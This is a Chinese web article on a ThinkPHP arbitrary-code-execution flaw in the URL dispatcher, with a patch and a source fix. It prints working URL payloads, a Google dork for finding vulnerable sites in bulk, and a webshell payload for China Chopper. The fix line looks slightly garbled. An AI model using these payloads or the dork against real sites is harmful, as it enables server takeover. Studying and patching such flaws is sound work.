脚本之家 服务器常用软件
快捷导航
您的位置：首页 → 网络编程 → PHP编程 → php实例 → ThinkPHP框架任意代码执行漏洞的利用及其修复方法

ThinkPHP框架任意代码执行漏洞的利用及其修复方法

 更新时间：2014年07月04日 11:01:33   投稿：shichen2014  
这篇文章主要介绍了ThinkPHP框架任意代码执行漏洞的利用及其修复方法，该漏洞的修复对于广大使用ThinkPHP的开发人员来说尤为重要！需要的朋友可以参考下

ThinkPHP是国内著名的开源的PHP框架，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。早期的思想架构来源于Struts，后来经过不断改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结 构和MVC模式，融合了Struts的Action和Dao思想和JSP的TagLib（标签库）、RoR的ORM映射和ActiveRecord模式， 封装了CURD和一些常用操作，单一入口模式等，在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞，其危害性相当的高,漏洞利用方法如下：
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数，比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码，用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字：thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法：
 
用户可下载官方发布的补丁：
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码：

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为：

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号，防止其中的php变量语法被解析执行。
 
注：本文仅供学习参考使用，请不要用于非法用途。

更多关于thinkPHP相关内容感兴趣的读者可查看本站专题：《ThinkPHP入门教程》、《thinkPHP模板操作技巧总结》、《ThinkPHP常用方法总结》、《smarty模板入门基础教程》及《PHP模板技术总结》。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

您可能感兴趣的文章:

相关文章

  • Zend Framework教程之模型Model用法简单实例

    Zend Framework教程之模型Model用法简单实例

    这篇文章主要介绍了Zend Framework教程之模型Model用法,结合实例形式简单分析了Zend Framework中模型Model的原理,文件组织结构及具体使用方法,需要的朋友可以参考下
    2016-03-03
  • yii使用bootstrap分页样式的实例

    yii使用bootstrap分页样式的实例

    本篇文章主要介绍了yii使用bootstrap分页样式的实例，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
    2017-01-01
  • 初识PHP中的Swoole

    初识PHP中的Swoole

    Swoole是一种PHP高级Web开发框架，框架不是为了提升网站的性能，是为了提升网站的开发效率。最少的性能损耗，换取最大的开发效率
    2016-04-04
  • ThinkPHP3.1新特性之对Ajax的支持更加完善

    ThinkPHP3.1新特性之对Ajax的支持更加完善

    这篇文章主要介绍了ThinkPHP3.1对Ajax的支持,需要的朋友可以参考下
    2014-06-06
  • php设计模式之职责链模式定义与用法经典示例

    php设计模式之职责链模式定义与用法经典示例

    这篇文章主要介绍了php设计模式之职责链模式定义与用法,结合完整实例形式详细分析了php职责链模式的概念、原理、定义与使用方法,注释中包含详细的说明,需要的朋友可以参考下
    2019-09-09
  • Thinkphp框架+Layui实现图片/文件上传功能分析

    Thinkphp框架+Layui实现图片/文件上传功能分析

    这篇文章主要介绍了Thinkphp框架+Layui实现图片/文件上传功能,结合实例形式详细分析了Thinkphp+Layui实现图片文件上传的具体步骤、原理与相关操作技巧,需要的朋友可以参考下
    2020-02-02
  • php调用快递鸟接口实例代码

    php调用快递鸟接口实例代码

    这篇文章主要介绍了php调用快递鸟接口实例代码,需要的朋友可以参考下
    2017-10-10
  • 去除php注释和去除空格函数分享

    去除php注释和去除空格函数分享

    这篇文章主要介绍了去除php注释和去除空格函数，php5中已提供相同功能的函数，这里只为学习PHP,需要的朋友可以参考下
    2014-03-03
  • 复现WordPress xmlrpc.php漏洞和SSRF的详细步骤

    复现WordPress xmlrpc.php漏洞和SSRF的详细步骤

    这篇文章主要介绍了复现WordPress xmlrpc.php漏洞和SSRF的相关资料,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下
    2022-04-04
  • 跟我学Laravel之配置Laravel

    跟我学Laravel之配置Laravel

    所有关于Laravel框架的配置文件都存放在app/config目录里。所有文件里的配置选项都有说明文档，因此你可以轻松的查看这些文件，并熟悉这些配置项。
    2014-10-10

最新评论